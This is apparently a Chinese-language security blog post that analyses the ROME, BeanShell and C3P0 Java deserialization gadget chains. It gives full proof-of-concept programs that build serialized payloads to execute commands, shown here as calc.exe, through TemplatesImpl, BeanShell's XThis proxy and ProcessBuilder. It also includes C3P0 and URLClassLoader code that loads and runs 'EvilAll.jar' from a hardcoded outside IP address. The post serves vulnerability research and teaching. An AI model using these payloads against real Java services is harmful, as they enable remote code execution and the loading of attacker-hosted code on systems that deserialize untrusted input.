Diggid's Blog

Java 反序列化Gadgets分析 - ROME/BeanShell/C3P0

字数统计: 3.4k阅读时长: 14 min
2021/09/21 Share

前言

继续看三个链

ROME

实现任意无参public getter方法的调用

前置

ObjectBean

com.sun.syndication.feed.impl.ObjectBean方法是ROME对java bean类型的一个封装,初始化时传入Class和Object对象,表示java bean的相关信息。该类中有三个成员变量,以委托的方式将处理java bean的方法(如toString、hashCode)等委托给其他类

  • _equalsBean:EqualsBean类型,实现了对java bean调用equals方法的逻辑
  • _toStringBean:ToStringBean类型,实现了对java bean调用toString方法的逻辑
  • _cloneableBean:CloneableBean类型,实现了对java bean调用clone方法的逻辑

我们先看一下ObjectBean#hashCode方法,可以看到其调用了_equalsBean#beanHashCode

image-20210923110506461

进一步跟进,调用了toString,而这里的_obj可控,所以是一条完全可控的toString链那这样就可以替代CC5的BadAttributeValueExpException#readObject,从而绕过其jdk>8u76的限制(多提一嘴),但ROME这条链子使用的是ROME依赖中的其他类来连接toString链

image-20210923110519090

ToStringBean

前面我们也分析到了这个类是用来被委托实现对java bean调用toString方法的具体逻辑的,也就是会该类的toString方法会决定java bean如何输出,我们来看一下具体的实现:

有两个toString方法,我们前面调用的是无参的,先看一下无参的toString方法

image-20210923111315034

前半部分主要是获取类名部分,这里是TemplatesImpl,然后作为prefix传入带参的toString方法。

  • 先调用BeanIntrospector.getPropertyDescriptors(_beanClass)获取_beanClass的所有getter和setter方法的PropertyDescriptor

image-20210923111529342

获取getter/setter的逻辑是,先从_introspected这个HashMap中获取(相当于一个缓存),一开始肯定获取不到,所以会调用getPDs方法去获取,获取到之后再缓存到_introspected中,获取的逻辑比较清晰,和大部分获取java bean的getter/setter的逻辑基本一样:先获取所有方法,然后根据方法名来获取getter和setter,比如getter就是开头是”get”或”is”,由于这里不是根据属性名匹配的getter,所以只需要考虑开头就行了,不需要匹配属性名,setter同理。获取到getter的PropertyDescriptor后,建立PropertyName(getter名字去掉get且第四个字符小写)和PropertyDescriptor的映射关系放入HashMap中

image-20210923113123857

image-20210923113506697

假设我们设置的_beanClassTemplates,那么获取到的getter就只有getOutputProperties了。

image-20210923113613279

  • 反射调用获取的getter

由于是按顺序调用的pds数组中保存的getter,所以如果获取到有多个getter,而我们想要调用的getter在靠后的位置,这时候可能就容易出错,因此尽量选用父类或接口等定义了仅定义了我们需要的getter来作为_beanClass

image-20210923113821136

利用链

1
2
3
4
5
6
HashMap.readObject()
ObjectBean.hashCode()
EqualsBean.beanHashCode()
-ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties() / JdbcRowSetImpl.getDatabaseMetaData()

-表示这部分可以省略(跳过)

  • Source:java.util.HashMap#readObject()
  • Chain:ObjectBean.hashCode() -> EqualsBean.beanHashCode() -> ToStringBean.toString()
  • Sink:
    • TemplatesImpl.getOutputProperties()
    • JdbcRowSetImpl.getDatabaseMetaData()

这里简单提一下为什么JdbcRowSetImpl.getDatabaseMetaData(),其实自己试一下就知道了,前面说了会获取所有的getter来根据方法数组中的先后顺序来执行,会经过

1
2
3
4
getQueryTimeout
getEscapeProcessing
getMaxFieldSize
getDatabaseMetaData

而在getDatabaseMetaData之前的三个方法执行时都不会报错。而且,从getter方法本身的作用来看,就是设置值,如果没有值的话,就设置为null,所以大部分的getter方法都是不会报错的,除非有其他的处理逻辑。而前面的这三个方法就是简单的设置值,所以不会报错,直接执行到getDatabaseMetaData触发JNDI注入。

image-20210930095403714

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class ROME1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");
// 写法一:直接设置ToStringBean,设置_equalsBean的_beanClass和_obj
// ToStringBean delegate = new ToStringBean(Templates.class, templates);
// 写法二:设置ObjectBean,后续还是会调用ToStringBean的
ObjectBean delegate = new ObjectBean(Templates.class, templates);
// 设置一个无害的先
ObjectBean parent = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "noharm"));
HashMap hm = new HashMap();
hm.put(parent, "diggid");
hm.put("diggid", "diggid");

// 和写法一对应
// Reflections.setFieldValue(parent, "_equalsBean", new EqualsBean(ToStringBean.class, delegate));
// 和写法二对应
Reflections.setFieldValue(parent, "_equalsBean", new EqualsBean(ObjectBean.class, delegate));
Serializer.writeToFile("src/main/java/gadgets/rome/exp.bin", hm);
Serializer.readFromFile("src/main/java/gadgets/rome/exp.bin");
}
}

BeanShell

前置

Interpreter

bsh.Interpreter是beanshell脚本解释器,可以解析执行beanshell的命令以及java代码。其成员变量中globalNameSpaceNameSpace类型的,用于保存全局变量信息,包括要执行的脚本、设置的变量等,我们可以通过eval方法来注册或解析执行脚本(方法),通过set来设置要传递给脚本方法的变量等。在beanshell中,方法被封装为BshMethod、变量被封装为Variable,下列代码可以注册exec方法,然后条用exec方法弹出计算机:

1
2
3
4
5
6
Interpreter interpreter = new Interpreter();
String func = "exec(String[] cmd){java.lang.Runtime.getRuntime().exec(cmd);System.out.println(\"diggid\");}";
interpreter.eval(func);
String payload = "exec(poc)";
interpreter.set("poc", new String[]{"cmd", "/c", "calc"});
interpreter.eval(payload);

Interpreter和其中的NameSpace构成脚本执行的上下文,有了这两个类保存的信息,便可以调用beanshell解释器来执行java代码

XThis

XThis继承与ThisThis是对前面说的上下文的封装,从其构造方法就可看出

image-20210923145049748

而这里选取XThis的原因是,其内部有一个Handler内部类,实现了InvocationHandler,可以作为代理类的handler来使用。该handler就是用来拦截Interpreter注册的函数的。

image-20210923145357078

具体的处理逻辑和大部分的handler差不多,在invoke -> invokeImpl方法中,先是单独处理equals、toString等方法,其他无法直接处理的方法则调用反射去执行,执行的返回值用Primitive.unwrap去封装

image-20210923145538373

继续跟进看一下invokeMethod方法,这个方法可以用来调用执行java代码,demo如下:

1
2
3
4
5
Interpreter interpreter = new Interpreter();
String func = "xxx(String[] cmd){java.lang.Runtime.getRuntime().exec(cmd);System.out.println(\"diggid\");}";
interpreter.eval(func);
XThis xThis = new XThis(interpreter.getNameSpace(), interpreter);
xThis.invokeMethod("xxx", new Object[]{new String[]{"cmd", "/c", "calc.exe"}});

在这个实例中,我们注册了xxx方法,并调用XThis.invokeMethod来执行xxx方法,便会触发XThis$Handler#invoke方法,实现代理劫持xxx方法,而xxx方法的处理逻辑根据我们传入XThis的NameSpaceInterpreter构成的上下文,获取BshMethod后再使用反射来完成从beanshell注册方法到实际代码的调用。

所以我们根据XThis#Handler动态代理就可以很简单的构造调用链了。至于Source的选择,常见的连接动态代理的点有HashMap#readObject -> key.hashCodePriorityQueue#readObject -> comparator.compare,这两个都可以。

利用链

1
2
3
4
5
6
7
8
PriorityQueue.readObject()
comparator(proxy).compare()
+HashMap.readObject()
key(proxy).hashCode()
XThis$Handler.invoke()
XThis$Handler.invokeImpl()
This.invokeMethod()
BshMethod.invoke() -> 有限制的自定义的java代码
  • Source:
    • PriorityQueue#readObject() -> comparator#compare()
    • HashMap.readObject() -> key#hashCode()
  • Chain:
    • XThis$Handler.invoke() -> XThis$Handler.invokeImpl()
    • This.invokeMethod()
  • Sink:BshMethod.invoke()

执行任意不需要interpreter参与解析的java代码

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class BeanShell1 {
public static void main(String[] args) throws Exception{

Interpreter interpreter = new Interpreter();
// 按compare方法的签名来注册
// 这里最好return一个Integer,因为compare比较的返回值是Integer,这样就不会报错了。
String func = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return new Integer(1);}";

// 用java.lang.Runtime.getRuntime()的方式不行,会爆nullpointer
// String func = "compare(Object any,Object any){java.lang.Runtime.getRuntime().exec(new String[]{\"cmd\", \"/c\", \"calc.exe\"});}";
interpreter.eval(func);
// InvocationHandler handler = (InvocationHandler) Reflections.getObject("bsh.XThis$Handler");
XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
InvocationHandler handler = (InvocationHandler) Reflections.getFieldValue(xt, "invocationHandler");

Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class[]{Comparator.class}, handler);
final PriorityQueue pq = new PriorityQueue();
pq.add(1);
pq.add(2);
Reflections.setFieldValue(pq, "comparator", proxy);

Serializer.writeToFile("src/main/java/gadgets/beanshell/exp.bin", pq);
Serializer.readFromFile("src/main/java/gadgets/beanshell/exp.bin");
}
}

后续

不能使用java.lang.Runtime.getRuntime()

这里有两个点需要注意:

  • XThis的成员变量declaringInterpreter,也就是用来存放Interpreter的,其被transient修饰,因此是不能够反序列化的,并且XThis也没有对其进行特殊处理,也就是说再反序列化出来后,declaringInterpreter为null
  • 对于java.lang.ProcessBuilder的情况,declaringInterpreter为null不影响beanshell解析并执行java代码
  • 对于java.lang.Runtime.getRuntime()的情况,declaringInterpreter为null,执行到bsh.Name#invokeMethod,由于interpreter.getClassManager();中的interpreter为null,会报错NullPointerException

所以这里就有两个问题,为什么ProcessBuilder的情况不需要interpreter,而Runtime的情况需要interpreter,这里跟beanshell解析我们自定义的func方法有关系,bsh.Node是一个接口,用来定义不同状态,这些状态是根据func自定义方法的代码获取的,且代码的不同部分对应不同的解析状态,不同的解析状态会调用不同的Node的子实现类的相关方法去解析。具体的java代码与Node的子实现类的对应关系还不太明晰。

image-20210923170901998

笔者只调试知道当是ProcessBuilder时,会获取到BSHAllocationExpressionBSHPrimarySuffix,会先调用BSHPrimarySuffix#doSuffix去解析,再调用BSHAllocationExpression#eval。而这其中并不需要interpreter去参与

image-20210923171357117

当是Runtime时,获取到的是BSHMethodInvocationBSHPrimarySuffix,而当调用BSHMethodInvocation#eval方法时,就会因为Interpreter为null而报错了。

image-20210923171759065

C3P0

c3p0是用于创建和管理连接,利用“池”的方式复用连接减少资源开销,和其他数据源一样,也具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。目前,hibernate自带的连接池就是c3p0,除此之外,还有Spring也使用了。

具体关于C3P0连接池架构和各类功能的详解,可以参考https://www.cnblogs.com/ZhangZiSheng001/p/12080533.html

这里先放上一个基于ComboPooledDataSource的类图

image-20210923192807400

以及各类大致的作用:

类名 描述
DataSource 用于创建原生的Connection
ConnectionPoolDataSource 用于创建PooledConnection
PooledDataSource 用于支持对c3p0连接池中连接数量和状态等的监控
IdentityTokenized 用于支持注册功能。每个DataSource实例都有一个identityToken,用于在C3P0Registry中注册
PoolBackedDataSourceBase 实现了IdentityTokenized接口,还持有PropertyChangeSupportVetoableChangeSupport对象,并提供了添加和移除监听器的方法
AbstractPoolBackedDataSource 实现了PooledDataSourceDataSource
AbstractComboPooledDataSource 提供了数据源参数配置的setter/getter方法
DriverManagerDataSource DataSource实现类,用于创建原生的Connection
WrapperConnectionPoolDataSource ConnectionPoolDataSource实现类,用于创建PooledConnection
C3P0PooledConnectionPoolManager 连接池管理器,非常重要。用于创建连接池,并持有连接池的Map(根据账号密码匹配连接池)。

前置

URLClassLoader远程加载类

有以下两种写法来作为URLClassLoader进行远程类加载(需要外网),可以作为代码审计的Sink点,

  • 第一种:Class.forName
  • 第二种:loadClass

其实两种是一样的,Class.forName在底层调用了loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package gadgets.c3p0;

import java.lang.reflect.Constructor;
import java.net.URL;
import java.net.URLClassLoader;

public class UCLTest {
public static void main(String[] args) throws Exception{
boolean flag = true;
if(flag){
URL url = new URL("http://101.132.159.30:7777/EvilAll.jar");
URL[] urls = {url};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
// URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class.forName("EvilAll", true, urlClassLoader).newInstance();
}else{
URL url = new URL("http://101.132.159.30:7777/EvilAll.jar");
URL[] urls = {url};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
urlClassLoader.loadClass("EvilAll").newInstance();
}
}
}

PoolBackedDataSourceBase

根据前面的类图介绍,com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase这个类用于支持监听器的功能,存放了PropertyChangeSupport 和 VetoableChangeSupport 对象这两个java原生的用于监控属性变化的监听器类。该类实现了Serializable接口,且writeObject方法中对特殊的属性进行的处理。

根据上面类图知道,我们需要保存connectionPoolDataSource ,如果其是不可反序列化的对象,会调用ReferenceIndirector #indirectForm方法对其进行封装

image-20210923201057404

跟进看一下com.mchange.v2.naming.ReferenceIndirector#indirectForm,先调用getReference获取Reference对象,再外层封装一个ReferenceSerialized

image-20210923201350466

看完了readObject方法,我们知道对于不可反序列化的connectionPoolDataSource(其实就是WrapperConnectionPoolDataSource),对其进行特殊的处理,因此在readObject方法中必然会有相应的方法将其恢复

在readObject中调用((IndirectlySerialized) o).getObject()来恢复,而前面封装返回的ReferenceSerialized是该接口的实现类。

image-20210923201745076

看一下ReferenceSerialized#getObject方法,如果env和contextName都为空的情况下,会调用ReferenceableUtils#referenceToObject来进一步处理,如果contextName可以设置为恶意的jndi地址的话,可以触发jndi注入。

image-20210923202023667

回看一下writeObject处,可控点是connectionPoolDataSource成员变量,是ConnectionPoolDataSource接口类型,且要调用ReferenceIndirector#indirectForm,其中会cast为Referenceable然后再调用getReference获取reference,所以我们可以创建一个自定义类实现ConnectionPoolDataSourceReferenceable这两个接口,然后重写getReference方法返回一个自定义的Reference,然后再实例化ReferenceSerialized,但是可惜的是,实例化ReferenceSerialized时传入的contextName和我们可控的Reference并没有关系,所以我们无法控制contextName为我们想要的jndi地址。

所以我们只能跟进ReferenceableUtils#referenceToObject,这里就和reference扯上关系了,看一下下面框框的代码就知道了

image-20210923203451909

利用链

1
2
3
4
5
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Class.forName0()
URLClassLoader.loadClass()
  • Source:PoolBackedDataSourceBase#readObject()

  • Chain:

    • ReferenceIndirector#getObject
    • ReferenceableUtils#referenceToObject()
  • Sink:Class#forName() -> URLClassLoader#loadClass()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class C3P0 {
private static final class EvilPool implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
String className = "any";
String classFactory = "EvilAll";
String ClassFactoryLocation = "http://101.132.159.30:7777/EvilAll.jar";
return new Reference(className, classFactory, ClassFactoryLocation);
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void main(String[] args) throws Exception{
ConnectionPoolDataSource evilPool = new EvilPool();
Object poolBackedDataSourceBase = Reflections.getObject(PoolBackedDataSourceBase.class.getName());
Reflections.setFieldValue(poolBackedDataSourceBase, "connectionPoolDataSource", evilPool);

Serializer.writeToFile("src/main/java/gadgets/c3p0/exp.bin", poolBackedDataSourceBase);
Serializer.readFromFile("src/main/java/gadgets/c3p0/exp.bin");
}
}

其他利用点

http://redteam.today/2020/04/18/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget/

CATALOG
  1. 1. 前言
  2. 2. ROME
    1. 2.1. 前置
      1. 2.1.1. ObjectBean
      2. 2.1.2. ToStringBean
    2. 2.2. 利用链
    3. 2.3. POC
  3. 3. BeanShell
    1. 3.1. 前置
      1. 3.1.1. Interpreter
      2. 3.1.2. XThis
    2. 3.2. 利用链
    3. 3.3. POC
    4. 3.4. 后续
      1. 3.4.1. 不能使用java.lang.Runtime.getRuntime()
  4. 4. C3P0
    1. 4.1. 前置
      1. 4.1.1. URLClassLoader远程加载类
      2. 4.1.2. PoolBackedDataSourceBase
    2. 4.2. 利用链
    3. 4.3. POC
    4. 4.4. 其他利用点